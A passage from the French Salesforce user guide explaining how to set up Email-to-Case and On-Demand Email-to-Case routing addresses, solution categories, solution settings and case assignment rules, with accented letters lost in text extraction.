Nom de l'adresse d'acheminement. Par exemple, Support

Gold ou Support Standard.

Adresse e-mail

Adresse des e-mails entrants correspondant cette adresse

d'acheminement E-mail vers requte. Les e-mails envoys
cette adresse sont crs en tant que requtes l'aide des
paramtres spcifis. L'adresse e-mail doit tre unique. Notez
que cette adresse e-mail est accessible via un lien sur le site
Web de support de votre socit.

Enregistrer les en-ttes d'e-mail

Cochez cette case pour enregistrer les informations

d'acheminement e-mail associes chaque e-mail soumis
en tant que requte. L'enregistrement des informations
d'acheminement d'e-mails est pris en compte dans le
stockage maximal de votre organisation.
Pour afficher les en-ttes d'e-mail partir d'un e-mail
converti en requte, reportez-vous Utilisation des e-mails
de requte la page 1218.

Crer une tche partir de l'e-mail

Cochez cette case pour attribuer automatiquement une tche

au responsable de la requte lors de la soumission d'un e-mail
en tant que requte.
Les rgles d'attribution affectent automatiquement des
responsables une requte. Cependant, si une requte ne
correspond pas un critre d'une rgle d'attribution,
l'utilisateur du champ Responsable de la requte
par dfaut dans la page Paramtres de support est attribu
la requte. Pour plus d'informations, reportez-vous
Configuration des rgles d'attribution la page 620 et
Personnalisation des paramtres de support la page 597.

Statut de la tche

Slectionnez un statut dans cette liste droulante afin de

prdfinir le champ Statut des tches automatiquement
attribues des responsables de requte lors de la soumission
d'un e-mail en tant que requte.
Ce paramtre est disponible uniquement si vous avez coch
la case Crer une tche partir de l'e-mail.

Priorit de la requte

Priorit attribue aux requtes cres partir d'e-mails

envoys cette adresse e-mail.

Origine de la requte

Valeur attribue au champ Origine de la requte

pour les requtes cres via ces informations d'acheminement
E-mail vers requte.

Type d'enregistrement de requte

Type d'enregistrement utilis pour crer des requtes partir

des e-mails envoys cette adresse e-mail. Si une adresse
d'acheminement n'a aucun type d'enregistrement de requte,

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 608

Paramtre

Description
les nouvelles requtes adoptent par dfaut le type
d'enregistrement de l'utilisateur configur dans l'agent E-mail
vers requte. Si votre organisation n'utilise pas de types
d'enregistrement, ce paramtre n'est pas disponible.

4. Cliquez sur Enregistrer pour enregistrer les paramtres de l'adresse d'acheminement.

Vous pouvez galement cliquer sur Enregistrer et Nouveau pour enregistrer l'adresse d'acheminement, puis en crer une
nouvelle.
Un e-mail de vrification est immdiatement envoy la nouvelle adresse d'acheminement, qui est contrle lorsque vous
cliquez sur le lien de vrification de l'e-mail.
5. Cliquez sur le lien dans l'e-mail de vrification.
Vous pouvez galement cliquer sur Vrifier en regard de l'adresse e-mail dans la page de dtails de l'adresse e-mail afin
que Salesforce.com envoie un autre e-mail de vrification la nouvelle adresse d'acheminement.
Salesforce.com vous informe de la vrification de la nouvelle adresse d'acheminement d'e-mail.
6. Cliquez sur Poursuivre.
7. Revenez la page des paramtres E-mail vers requte en cliquant sur Configuration Personnalisation Requtes
E-mail vers requte.
8. Cliquez sur Modifier pour appliquer les paramtres E-mail vers requte suivants :
Paramtre E-mail vers requte

Description

Activer E-mail vers requte

Cochez cette case pour activer la fonction E-mail vers

requte.

Notifier les responsables de requte des

nouveaux e-mails

Cochez cette case pour permettre aux responsables de requte

de recevoir automatiquement des notifications lors de la
rception de messages relatifs aux requtes existantes. Les
notifications par e-mail attribuent une tche au responsable
de requte afin qu'il rponde au nouvel e-mail. La rponse
l'e-mail ferme la tche. Pour dsactiver tout moment la
fonction de notification par e-mail, dslectionnez la case.

Activer l'e-mail HTML

Cochez cette case pour avertir les utilisateurs avant qu'ils

affichent le contenu des e-mails HTML entrants, afin qu'ils
n'ouvrent pas de contenu HTML potentiellement malveillant
susceptible d'endommager leur ordinateur. Lorsque ce
paramtre est dsactiv, les utilisateurs voient du texte et
non pas du contenu HTML sur les pages de dtails des
e-mails. Lorsqu'ils rpondent un e-mail, c'est la version
texte de l'e-mail qui est copie vers l'diteur de messagerie,
et non la version HTML. Pour dsactiver tout moment la
fonction d'avertissement par e-mail HTML, dslectionnez
la case.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 609

Paramtre E-mail vers requte

Description

Objet de l'e-mail

Cochez cette case pour ajouter l'ID de thread l'objet de

l'e-mail.
Vous pouvez indiquer si l'ID de thread doit tre inclus dans
les e-mails que les utilisateurs envoient partir de requtes.
L'ID de thread est l'ID unique de chaque e-mail de requte
(par exemple, [ref:00DxRtp.500xXFKf:ref ]). Par dfaut, cet
ID de thread est ajout l'objet et au corps des e-mails de
requte.

Corps du message

Cochez cette case pour ajouter l'ID de thread au corps du

message.
Vous pouvez indiquer si l'ID de thread doit tre inclus dans
les e-mails que les utilisateurs envoient partir de requtes.
L'ID de thread est l'ID unique de chaque e-mail de requte
(par exemple, [ref:00DxRtp.500xXFKf:ref ]). Par dfaut, cet
ID de thread est ajout l'objet et au corps des e-mails de
requte.

9. Cliquez sur Enregistrer.

Conseils sur la fonction E-mail vers requte
Pour configurer une adresse d'acheminement pour la fonction E-mail vers requte, tenez compte des points suivants :

Lorsqu'un client envoie un e-mail cette adresse d'acheminement, une requte est cre dans votre organisation. L'objet
de l'e-mail s'affiche dans le champ Objet et le corps de l'e-mail s'affiche dans le champ Description de la requte.
Les champs Priorit, Origine de la requte et Type d'enregistrement de requte se remplissent
automatiquement pour la requte via les paramtres d'adresse d'acheminement lorsque l'adresse d'acheminement est incluse
dans les champs , CC ou Cci d'un e-mail entrant. Salesforce.com traite de l'adresse d'acheminement d'un e-mail entrant
dans l'ordre suivant et s'arrte la premire correspondance :
1.
2. CC
3. Cci

Notez que certaines applications de messagerie n'envoient pas automatiquement les informations Cci. Par consquent, le
renseignement automatique des champs de requte risque de ne pas fonctionner correctement si l'adresse d'acheminement
est incluse dans le champ Cci d'un e-mail entrant.
Pour afficher automatiquement des requtes cres via la fonction E-mail vers requte dans le portail libre-service,
reportez-vous Activation des paramtres et fonctions du libre-service la page 635.
Le nombre maximal d'e-mails qu'une organisation peut convertir en requtes est de 2 500 par jour pour Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition (nombre total de requtes, adresses e-mail incluses).
Si l'organisation excde la limite quotidienne de la fonction E-mail vers requte, le code d'exception d'API suivant est
renvoy l'agent E-mail vers requte : EMAIL_TO_CASE_LIMIT_EXCEEDED. Vous pouvez configurer l'agent afin
d'entreprendre l'opration qui convient (par exemple, informer votre administrateur) lorsque cet vnement se produit.
Dslectionnez les cases Objet de l'e-mail et Corps du message pour ne pas ajouter l'ID de thread aux e-mails.
Si vous dsactivez les cases Objet de l'e-mail et Corps du message, toutes les rponses entrantes aux e-mails de
requte sortants crent des requtes.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 610

Lorsque vous rpondez des e-mails dans la liste associe E-mail vers requte, le champ De : de votre e-mail peut s'afficher
chez les destinataires en no-reply@salesforce.com ou support@company.com. Cet affichage dpend de la
rception des en-ttes Expditeur et De de l'e-mail entrant par les applications de messagerie des destinataires. Par
dfaut, un paramtre Activer la conformit Sender ID est activ pour votre organisation, permettant aux messages
envoys depuis Salesforce.com d'tre conformes aux applications de messagerie qui ncessitent des en-ttes Expditeur
pour la livraison. Pour plus d'informations, reportez-vous Configuration des paramtres de livraison la page 344.

Voir aussi :
Affichage et modification de requtes
Utilisation des e-mails de requte
Gestion des rgles d'attribution
Configuration des rgles de rponse automatique

Activation et configuration de la fonction E-mail vers requte la

demande
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction E-mail vers requte la demande : Personnaliser l'application
Pour activer la fonction E-mail vers requte la demande :

Modifier toutes les donnes

ET
Personnaliser l'application

Cette rubrique prsente l'activation et la configuration de la fonction E-mail vers requte la demande l'aide des options
disponibles dans la page Paramtres E-mail vers requte. En complment, reportez-vous Configuration de la fonction E-mail
vers requte la demande pour consulter les principales tapes effectuer avant et aprs les tches prsentes dans la prsente
rubrique.
Avant de commencer, consultez les informations de la rubrique Conseils et considrations relatifs la fonction E-mail vers
requte la demande la page 614.
Pour activer et configurer E-mail vers requte la demande, suivez les procdures ci-dessous :
1. Activation de la fonction E-mails vers requtes la demande
2. Dfinition et vrification des adresses d'acheminement d'e-mails
3. Configuration des paramtres E-mail vers requte
Activation de la fonction E-mails vers requtes la demande
Pour activer la fonction E-mail vers requte la demande :
1. Cliquez sur Configuration Personnalisation Requtes E-mail vers requte pour ouvrir la page des paramtres
E-mail vers requte.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 611

2. Cliquez sur Modifier.

3. Cochez la case Activer la fonction E-mail vers requte. Une fois active, la fonction E-mail vers requte ne
peut tre dsactive.
4. Cochez la case Activer le service la demande.
Pour dsactiver tout moment la fonction E-mail vers requte la demande, dslectionnez la case. Vous pouvez galement
ractiver tout moment la fonction E-mail vers requte la demande.
5. Cliquez sur Enregistrer. Vous configurerez ultrieurement les autres paramtres.
Dfinition et vrification des adresses d'acheminement d'e-mails
Pour dfinir et vrifier les adresses d'acheminement d'e-mails :
1. Cliquez sur Configuration Personnalisation Requtes E-mail vers requte pour ouvrir la page des paramtres
E-mail vers requte.
2. Dans la liste associe Adresses d'acheminement, cliquez sur Nouveau.
3. Saisissez les paramtres d'adresse d'acheminement :
Paramtre

Description

Nom d'acheminement

Nom de l'adresse d'acheminement. Par exemple, Support

Gold ou Support Standard.

Adresse e-mail

Adresse des e-mails entrants correspondant cette adresse

d'acheminement E-mail vers requte la demande. L'e-mail
envoy cette adresse cre de nouvelles requtes l'aide des
paramtres spcifis. L'adresse e-mail doit tre unique.
Notez que cette adresse e-mail est accessible via un lien sur
le site Web de support de votre socit.

Enregistrer les en-ttes d'e-mail

Cochez cette case pour enregistrer les informations

d'acheminement e-mail associes chaque e-mail soumis
en tant que requte. L'enregistrement des informations
d'acheminement e-mail est pris en compte dans le stockage
maximal de votre organisation. Pour plus d'informations,
reportez-vous Surveillance des ressources la page 218.
Pour afficher les en-ttes d'e-mail partir d'un e-mail
converti en requte, reportez-vous Utilisation des e-mails
de requte la page 1218.

Accepter un e-mail de

Laissez ce champ vide pour autoriser la fonction E-mail vers

requte la demande recevoir un e-mail partir d'une
adresse de messagerie ou d'un domaine. Vous pouvez
galement limiter les adresses de messagerie et les domaines
disponibles pour E-mail vers requte la demande en les
entrant dans ce champ.

Crer une tche partir de l'e-mail

Cochez cette case pour attribuer automatiquement une tche

au responsable de la requte lors de la soumission d'un e-mail
en tant que requte.
Les rgles d'attribution affectent automatiquement des
responsables une requte. Cependant, si une requte ne
correspond pas un critre d'une rgle d'attribution,

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 612

Paramtre

Description
l'utilisateur du champ Responsable de la requte
par dfaut dans la page Paramtres de support est attribu
la requte. Pour plus d'informations, reportez-vous
Configuration des rgles d'attribution la page 620 et
Personnalisation des paramtres de support la page 597.

Statut de la tche

Slectionnez un statut dans cette liste droulante afin de

prdfinir le champ Statut des tches automatiquement
attribues des responsables de requte lors de la soumission
d'un e-mail en tant que requte.
Ce paramtre est disponible uniquement si vous avez coch
la case Crer une tche partir de l'e-mail.

Priorit de la requte

Priorit attribue aux requtes cres partir d'e-mails

envoys cette adresse d'acheminement e-mail.

Origine de la requte

Valeur attribue au champ Origine de la requte

pour les e-mails envoys cette adresse d'acheminement
e-mail.

Type d'enregistrement de requte

Type d'enregistrement utilis pour crer des requtes partir

des e-mails envoys cette adresse d'acheminement e-mail.
Ce paramtre n'est pas disponible si votre organisation
n'utilise pas de types d'enregistrement.
L'utilisateur spcifi dans le champ Utilisateur de
requte automatique de la page Paramtres de support
reoit automatiquement une notification s'il n'a pas accs au
type d'enregistrement de requte slectionn.

4. Cliquez sur Enregistrer pour enregistrer les paramtres de l'adresse d'acheminement. Vous pouvez galement cliquer sur
Enregistrer et Nouveau pour enregistrer l'adresse d'acheminement, puis en crer une nouvelle.
Vous pouvez enregistrer les adresses d'acheminement uniquement si un utilisateur est spcifi dans le champ Utilisateur
de requte automatique de la page Paramtres de support. Pour ajouter un utilisateur au champ Utilisateur de
requte automatique, cliquez sur Configuration Personnalisation Requtes Paramtres de support.
Un e-mail de vrification est immdiatement envoy la nouvelle adresse d'acheminement, avec un lien qui permet de
mener bien le processus de vrification lorsque vous cliquez dessus. La nouvelle adresse d'acheminement est vrifie
uniquement lorsque vous ouvrez cet e-mail et cliquez sur ce lien.
5. Cliquez sur le lien dans l'e-mail de vrification.
Une fois la nouvelle adresse d'acheminement vrifie, elle est rpertorie comme Vrifie dans la liste associe Adresses
d'acheminement de la page Paramtres E-mail vers requte. En outre, Salesforce.com gnre automatiquement une adresse
de service de messagerie unique qui permet de configurer votre systme de messagerie pour transfrer les soumissions de
requtes. Cette adresse de services de messagerie affiche la liste associe Adresses d'acheminement dans la page Paramtres
E-mail vers requte ainsi que dans la page de dtails de chaque adresse d'acheminement.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 613

Conseil: Pour envoyer des e-mails de vrification supplmentaires une nouvelle adresse d'acheminement, allez la
liste associe Adresses d'acheminement de la page Paramtres E-mail vers requte, puis cliquez sur Vrifier en regard
de l'adresse e-mail.
Une fois l'adresse d'acheminement vrifie, cliquez sur son nom dans la liste associe Adresses d'acheminement pour
afficher ses dtails, modifier ses paramtres ou cloner de nouvelles copies.
Configuration des paramtres E-mail vers requte
Pour configurer les paramtres E-mail vers requte :
1. Cliquez sur Configuration Personnalisation Requtes E-mail vers requte pour ouvrir la page des paramtres
E-mail vers requte.
2. Cliquez sur Modifier.
3. Dfinissez les options suivantes selon vos besoins :
Paramtre E-mail vers requte la demande

Description

Notifier les responsables de requte des

nouveaux e-mails

Cochez cette case pour permettre aux responsables de requte

de recevoir automatiquement des notifications lors de la
rception d'e-mails relatifs leurs requtes existantes.
Lorsque la case Crer une tche partir de
l'e-mail est coche, les notifications par e-mail attribuent
une tche au responsable de la requte pour rpondre au
nouvel e-mail. La rponse l'e-mail ferme la tche. Pour
dsactiver tout moment la fonction de notification par
e-mail, dslectionnez la case.

Activer l'e-mail HTML

Cochez cette case pour avertir les utilisateurs avant qu'ils

affichent le contenu des e-mails HTML entrants, afin qu'ils
n'ouvrent pas de contenu HTML potentiellement malveillant
susceptible d'endommager leur ordinateur. Lorsque ce
paramtre est dsactiv, les utilisateurs voient du texte et
non pas du contenu HTML sur les pages de dtails des
e-mails. Lorsqu'ils rpondent un e-mail, la version texte
de l'e-mail est copie dans l'diteur de messagerie, pas la
version HTML. Pour dsactiver tout moment la fonction
d'avertissement par e-mail HTML, dslectionnez la case.

Objet de l'e-mail

Cochez cette case pour ajouter l'ID de thread l'objet de

l'e-mail.
Vous pouvez indiquer si l'ID de thread doit tre inclus dans
les e-mails que les utilisateurs envoient partir de requtes.
L'ID de thread est l'ID unique de chaque e-mail de requte,
tel que [ref:00DxRtp.500xXFKf:ref ]. Par dfaut, cet ID de
thread est ajout l'objet et au corps des e-mails de requte.

Corps du message

Cochez cette case pour ajouter l'ID de thread au corps du

message.
Vous pouvez indiquer si l'ID de thread doit tre inclus dans
les e-mails que les utilisateurs envoient partir de requtes.
L'ID de thread est l'ID unique de chaque e-mail de requte,

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 614

Paramtre E-mail vers requte la demande

Description
tel que [ref:00DxRtp.500xXFKf:ref ]. Par dfaut, cet ID de
thread est ajout l'objet et au corps des e-mails de requte.

Action de limitation du taux d'e-mails

Indiquez comment le paramtre E-mail vers requte la

demande gre les e-mails qui dpassent la limite quotidienne
de traitement des e-mails de votre organisation :
Message de renvoi : le service de messagerie renvoie
l'e-mail l'expditeur ou l'Utilisateur de
requte automatique de la fonction E-mail vers
requte la demande, avec une notification prsentant
le motif du renvoi.
Ignorer le message : le service de messagerie supprime
l'e-mail sans notifier l'expditeur.
Replacer le message dans la file d'attente : le service de
messagerie place l'e-mail dans la file d'attente pour un
traitement sous 24 heures. Si le message n'est pas trait
dans les 24 heures, le service de messagerie renvoie
l'e-mail l'expditeur avec une notification qui prsente
le motif du refus.
Pour plus d'informations sur les limites de traitement des
e-mails, reportez-vous Conseils et considrations relatifs
la fonction E-mail vers requte la demande.

Action d'expditeur non autoris

Si vous limitez les adresses e-mail et les domaines disponibles

pour le paramtre E-mail vers requte la demande dans
Accepter un e-mail de, indiquez comment traiter les
messages envoys par des destinataires bloqus :
Message de renvoi : le service de messagerie renvoie
l'e-mail l'expditeur ou l'Utilisateur de
requte automatique de la fonction E-mail vers
requte la demande, avec une notification prsentant
le motif du renvoi.
Ignorer le message : le service de messagerie supprime
l'e-mail sans notifier l'expditeur.

4. Cliquez sur Enregistrer.

Conseils et considrations relatifs la fonction E-mail vers

requte la demande
Pour configurer les adresses d'acheminement du paramtre E-mail vers requte la demande, tenez compte des points suivants :

Une erreur Donnes non disponibles s'affichent si vous avez un service de messagerie nomm EmailToCase .
Si vous avez un service de messagerie nomm EmailToCase et que vous souhaitez crer des adresses d'acheminement
pour la fonction E-mail vers requte la demande, vous devez :
1. Renommer le service de messagerie EmailToCase.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 615

2. Si la case Activer le Service la demande est coche pour E-mail vers requte la demande :
a.
b.
c.
d.
e.

Dsactivez la case Activer le Service la demande.

Cliquez sur Enregistrer.
Cliquez sur Modifier dans la page Paramtres E-mail vers requte.
Activez la case Activer le Service la demande.
Cliquez sur Enregistrer.

Le message d'erreur suivant est envoy l'Utilisateur de requte automatique lorsque l'e-mail est converti en
requte et qu'une rgle de workflow essaie d'ajouter la requte une valeur qui dpasse les limites de valeur de champ :
CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY: La mise jour d'un champ de workflow ou
d'approbation a provoqu une erreur lors de la sauvegarde de cet enregistrement.
Contactez votre administrateur pour la rsoudre. Lorsque cette erreur se produit, les rgles de
rponse automatique dfinies dans votre organisation n'envoient pas de rponse l'utilisateur qui a expdi l'e-mail. Pour
viter des erreurs similaires, dsactivez la rgle de workflow.
Lorsqu'un client envoie un e-mail une adresse d'acheminement, une requte est cre dans votre organisation. L'objet
de l'e-mail s'affiche dans le champ Objet et le corps de l'e-mail s'affiche dans le champ Description de la requte.
Salesforce.com limite le nombre total de messages que le paramtre E-mail vers requte la demande peut traiter 2 500
messages par jour. Les messages qui dpassent cette limite sont renvoys, ignors ou mis en file d'attente pour traitement
le jour suivant, en fonction de la configuration des paramtres de limitation du taux d'e-mails la page 614.
Les limites de services de messagerie Apex s'appliquent la fonction E-mail vers requte la demande :
-

100 000 caractres (environ) dans le corps de texte brut

100 000 caractres (environ) dans le corps de texte HTML
100 000 caractres (environ) dans le texte de la pice jointe
5 Mo par pice jointe binaire
10 Mo par message entrant (corps de texte brut, HTML et pices jointes inclus)

Les services de messagerie rejettent les e-mails qui dpassent les limites suivantes et notifient l'expditeur.
Tout texte d'un e-mail qui dpasse 100 Ko est automatiquement tronqu 32 Ko afin de l'ajuster l'enregistrement d'une
requte.

Les champs Priorit, Origine de la requte et Type d'enregistrement de requte renseignent

automatiquement la requte via les paramtres d'adresse d'acheminement lorsque l'adresse d'acheminement est incluse
dans les champs , CC ou Cci d'un e-mail entrant.
Salesforce.com traite de l'adresse d'acheminement d'un e-mail entrant dans l'ordre suivant et s'arrte la premire
correspondance :
1.
2. CC
3. Cci
Notez que certaines applications de messagerie n'envoient pas automatiquement les informations Cci. Par consquent, le
renseignement automatique des champs de requte risque de ne pas fonctionner correctement si l'adresse d'acheminement
est incluse dans le champ Cci d'un e-mail entrant. De surcrot, la conversion d'un e-mail en requte risque de ne pas
fonctionner correctement si vous incluez l'adresse des services de messagerie dans le champ Cci d'un e-mail.

Si vous utilisez Microsoft Outlook pour rediriger les e-mails vers une adresse d'acheminement :
-

Le champ d'adresse CC peut tre vide dans les requtes cres partir d'e-mails.
Une seule adresse e-mail peut tre incluse dans le champ des e-mails.

Personnaliser

Guide de l'utilisateur | Gestion des catgories de solutions | 616

Cette limitation existe car certaines versions d'Outlook redirigent les e-mails vers une seule adresse du champ et aucune
adresse du champ CC. Pour viter ce problme, utilisez Microsoft Exchange Server au lieu d'Outlook pour rediriger les
e-mails vers une adresse d'acheminement.
Pour afficher automatiquement les requtes cres via le paramtre E-mail vers requte la demande dans le portail
libre-service, reportez-vous Activation des paramtres et fonctions du libre-service la page 635.
Dsactivez les cases Objet de l'e-mail et Corps du message pour ne pas ajouter l'ID de thread un e-mail.
Si vous dsactivez les cases Objet de l'e-mail et Corps du message, toutes les rponses entrantes aux e-mails de
requte sortants crent des requtes.

En cas d'erreur lors du traitement d'un e-mail en requte via une adresse d'acheminement, une notification est envoye
l'utilisateur qui a cr l'adresse d'acheminement.
Si l'e-mail est envoy une adresse d'acheminement ou une adresse de services de messagerie lorsque le paramtre E-mail
vers requte la demande est dsactiv, une notification est envoye l'utilisateur qui a cr l'adresse d'acheminement.
Lorsque vous rpondez des e-mails dans la liste associe des e-mails de requtes, le champ De : de votre e-mail peut
s'afficher chez les destinataires en no-reply@salesforce.com ou support@company.com. Cet affichage dpend
de la rception des en-ttes Expditeur et De de l'e-mail entrant par les applications de messagerie des destinataires. Par
dfaut, un paramtre Activer la conformit Sender ID est activ pour votre organisation, permettant aux messages
envoys depuis Salesforce.com d'tre conformes aux applications de messagerie qui ncessitent des en-ttes Expditeur
pour la livraison. Pour plus d'informations, reportez-vous Configuration des paramtres de livraison la page 344.

Voir aussi :
Cration de rgles de workflow
Configuration des rgles de rponse automatique

Gestion des catgories de solutions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des catgories de solutions :

Grer les catgories

Crez des catgories de solutions afin que les utilisateurs puissent regrouper les solutions semblables. Une fois que vos solutions
sont regroupes en catgories, vous pouvez les explorer et les rechercher par catgorie dans l'onglet Solutions ou lors de la
rsolution d'une requte. Les clients peuvent galement parcourir des solutions par catgorie dans les solutions publiques, dans
votre portail libre-service et dans le portail client.
Pour plus d'informations, reportez-vous :

Dfinition de catgories de solutions la page 617

Saisie de termes traduits la page 90

Personnaliser

Guide de l'utilisateur | Gestion des catgories de solutions | 617

Dfinition de catgories de solutions

Commencez par crer vos catgories de solutions. La catgorie Toutes les solutions est automatiquement cre en tant que
solution au sommet de votre hirarchie de solutions. Les utilisateurs ne peuvent pas ajouter de solutions cette catgorie ni la
traduire.
Cliquez sur Configuration Personnalisation Solutions Catgories de solutions.
Cliquez sur Ajouter une catgorie pour crer une sous-catgorie au-dessous d'une catgorie spcifique.
Saisissez le nom de la catgorie. Les noms de catgorie ne peuvent pas contenir de barre oblique inverse (\).
Si vous le souhaitez, slectionnez une autre catgorie principale. La catgorie principale est situe directement au-dessus
de cette catgorie dans la hirarchie.
5. Slectionnez un ordre de tri pour les sous-catgories que vous crez dans cette catgorie.
1.
2.
3.
4.

Choisissez Ordre alphabtique pour trier les sous-catgories dans l'ordre alphabtique.
Choisissez Tri personnalis pour trier les sous-catgories dans l'ordre que vous spcifiez. Reportez-vous Ajout et tri
de sous-catgories la page 617.

6. Cliquez sur Enregistrer.

7. Une fois les catgories cres, regroupez-y les solutions. Reportez-vous Classement des solutions par catgorie la page
1941. Les administrateurs et les utilisateurs autoriss grer les catgories peuvent regrouper les solutions en catgories avant
d'activer ces catgories pour l'ensemble de l'organisation.
8. Une fois les solutions regroupes en catgories, activez l'exploration de catgories de solutions dans l'onglet Solutions.
Reportez-vous Personnalisation des paramtres de solution la page 618.
9. Pour activer l'exploration des catgories de solutions dans la base de connaissances publique ou votre portaillibre-service
reportez-vous Activation des solutions publiques la page 601 et Activation des paramtres et fonctions du libre-service
la page 635.
Modification et suppression de catgories
Dans la liste des catgories de solutions, vous pouvez :

Cliquer sur Modifier pour changer le nom de catgorie, la catgorie principale ou l'ordre de tri.
Cliquer sur Suppr pour supprimer la catgorie. Les solutions associes la catgorie ne sont pas supprimes.
Remarque: Vous ne pouvez pas supprimer une catgorie utilise par un portail client Salesforce.com. Pour plus
d'informations, reportez-vous Activation de la connexion et des paramtres du portail Client la page 1293.

Cliquer sur le nom de la catgorie pour afficher ses dtails.

Ajout et tri de sous-catgories

partir de la page de dtails de la catgorie, vous pouvez effectuer les oprations suivantes :

Cliquer sur Nouveau pour ajouter une sous-catgorie sous la catgorie.

Entrer un ordre de tri personnalis pour les sous-catgories.
1. Modifier la catgorie pour dfinir l'ordre de tri des sous-catgories sur Tri personnalis.
2. Entrer des numros dans la colonne Commande pour spcifier l'ordre des sous-catgories.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de solution | 618

3. Cliquez sur Rorganiser.

Voir aussi :
Classement des solutions par catgorie
Saisie de termes traduits

Personnalisation des paramtres de solution

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier des paramtres de solution :

Personnaliser l'application

Pour personnaliser des paramtres de solution :

1. Cliquez sur Configuration Personnalisation Solutions Paramtres des solutions.
2. Cliquez sur Modifier.
3. Slectionnez Activer la navigation dans les solutions pour activer l'exploration et la recherche des solutions
par catgorie.
Ce paramtre active l'exploration des solutions dans l'onglet Solutions, le portail client et lors de la rsolution d'une requte.
Pour obtenir des informations sur la traduction de catgories de solutions en plusieurs langues, reportez-vous Saisie de
termes traduits la page 90.
4. Slectionnez Activer les solutions multilingues pour permettre aux utilisateurs de traduire des solutions en
plusieurs langues.
5. Slectionnez Activer la recherche de solutions multilingues dans le portail libre-service
pour ajouter une liste droulante de langues au portail libre-service qui restreint automatiquement les rsultats de recherche
aux solutions correspondant la langue de l'utilisateur du portail libre-service. Dans la liste droulante de langues, les
utilisateurs du portail libre-service peuvent choisir de rechercher des solutions dans une langue spcifique ou dans toute
langue prise en charge par Salesforce.com.
6. Slectionnez Activer la recherche de solutions multilingues pour lesz solutions publiques
pour ajouter une liste droulante de langues aux solutions publiques pour permettre aux utilisateurs de slectionner la langue
de recherche de solutions. Dans la liste droulante des langues, les utilisateurs des solutions publiques peuvent choisir de
rechercher des solutions dans une langue spcifique ou dans toute langue prise en charge par Salesforce.com.
7. Slectionnez Activer les solutions HTML pour crer et afficher les solutions au format HTML. Lorsqu'elles sont
actives, les solutions s'affichent au format HTML dans Salesforce.com, les solutions publiques, le portail libre-service et
le portail client Salesforce.com. L'utilisation des solutions HTML permet aux utilisateurs de formater facilement les dtails
de la solution en modifiant les polices et les couleurs, et en ajoutant des images et des liens hypertexte.
ATTENTION: Une fois que vous avez slectionn l'option Activer les solutions HTML, vous ne pouvez
pas la dsactiver.

Personnaliser

Guide de l'utilisateur | Gestion des rgles d'attribution | 619

8. Slectionnez Rcapitulatif des solutions pour afficher jusqu' 150 caractres de la solution dans les rsultats de
recherche. Le fait de dsactiver cette case cocher supprime le rcapitulatif des solutions des rsultats.
9. Slectionnez Rsums de catgorie en ligne pour afficher jusqu' 150 caractres du rcapitulatif des catgories
auxquelles la solution appartient dans les rsultats de la recherche. Le fait de dsactiver cette case cocher supprime les
rsums des rsultats.
10. Cliquez sur Enregistrer.
11. Pour activer la navigation dans les solutions par clients des solutions publiques ou votre portail libre-service, reportez-vous
Activation des solutions publiques la page 601 et Activation des paramtres et fonctions du libre-service la page 635.
En outre, vous pouvez personnaliser la catgorie suprieure accessible par les utilisateurs des solutions publiques et
libre-service. Vous n'avez pas besoin de modifier ce paramtre si vous souhaitez que les clients voient toutes les catgories
et solutions visibles dans le portail libre-service ou dans les solutions publiques.

Voir aussi :
Classement des solutions par catgorie
Gestion des catgories de solutions
Solutions multilingues actives
Configuration du portail Client

Gestion des rgles d'attribution

Rgles d'attribution des pistes disponibles avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition
Rgles d'attribution des requtes disponibles avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer
Edition

Autorisations utilisateur requises

Pour crer ou modifier les rgles d'attribution :

Personnaliser l'application

Crez des rgles d'attribution pour automatiser les processus de support et de gnration de pistes de votre entreprise.

Rgles d'attribution des pistes - Spcifient la manire dont les pistes sont attribues aux utilisateurs ou aux files d'attente,
au fur et mesure qu'elles sont cres manuellement, saisies partir du site Web ou importes l'aide des assistants
d'importation de pistes.
Rgles d'attribution des requtes - Dterminent la manire dont les requtes sont attribues aux utilisateurs ou places
en file d'attente, lors de leur cration manuelle, l'aide de la fonction Web vers requte, E-mail vers requte ou E-mail
vers requte la demande, du portail Libre-service, du Portail client, d'Outlook ou de Lotus Notes.

En rgle gnrale, l'organisation possde une rgle pour chaque objectif global (par exemple, une rgle d'attribution des pistes
pour l'importation et une rgle d'attribution des pistes pour les pistes Web). Elle peut galement possder une rgle d'attribution
des requtes destine une utilisation courante et une autre pour les priodes de vacances. Chaque type de rgle est associ
une seule rgle effective. Pour obtenir la liste du nombre maximal de rgles autorises dans chaque organisation, reportez-vous
ditions Salesforce.com et limitations.

Personnaliser

Guide de l'utilisateur | Gestion des rgles d'attribution | 620

Chaque rgle se compose de plusieurs entres de rgle qui spcifient exactement les conditions d'attribution des pistes ou des
requtes. Par exemple, la rgle d'attribution des requtes standard peut possder deux entres : les requtes Type gal Gold
sont attribues la file d'attente Service Gold et les requtes Type gal Silver sont attribues la file d'attente Service Silver.
Pour crer une rgle d'attribution, cliquez sur Configuration Personnalisation en haut d'une page. Slectionnez ensuite
Pistes ou Requtes, puis cliquez sur Rgles d'attribution.
Exemple de rgle d'attribution
La rgle d'attribution de requte suivante attribue une requte une file d'attente spcifique en fonction de la cote du compte :
Nom de rgle : Attribution de compte important
Entres de rgle :

Commande

Critres

Attribuer

ISPICKVAL(Cote de compte, Important ) File d'attente de support de

niveau 1

